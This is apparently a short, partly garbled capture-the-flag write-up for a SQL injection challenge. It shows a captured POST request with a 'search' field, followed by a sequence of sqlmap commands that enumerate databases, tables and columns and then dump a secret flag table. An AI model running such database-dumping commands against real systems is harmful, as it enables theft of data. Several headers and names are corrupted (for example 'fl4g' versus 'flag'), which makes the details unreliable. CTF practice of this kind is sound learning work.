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Error: SQLSTATE[HY000] [2002] Connection refused
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POST f HTTP/1.1

Host: 220.249.52.133:49486

User-Agent: Mozillas5.0 (X11; Linux 1686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: zh,zh-CN;g=0.8,en-US;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Referer: http://220.249.52.133:49486/

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Connection: close

Upgrade-Insecure-Requests: 1

search=hello
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1.sqlmap -r 3.txt -dbs

[*] information_

[*] news
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2.sqlmap -r 3.txt -tables -D news
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secret_table
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3.sqlmap -r 3.txt --columns -D news -T secret table

| flag | varchar(58)
| int(10) unsigned |
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4.sqlmap -r 3.txt --dump -D news -T secret_table -C fl4g

ZFflag
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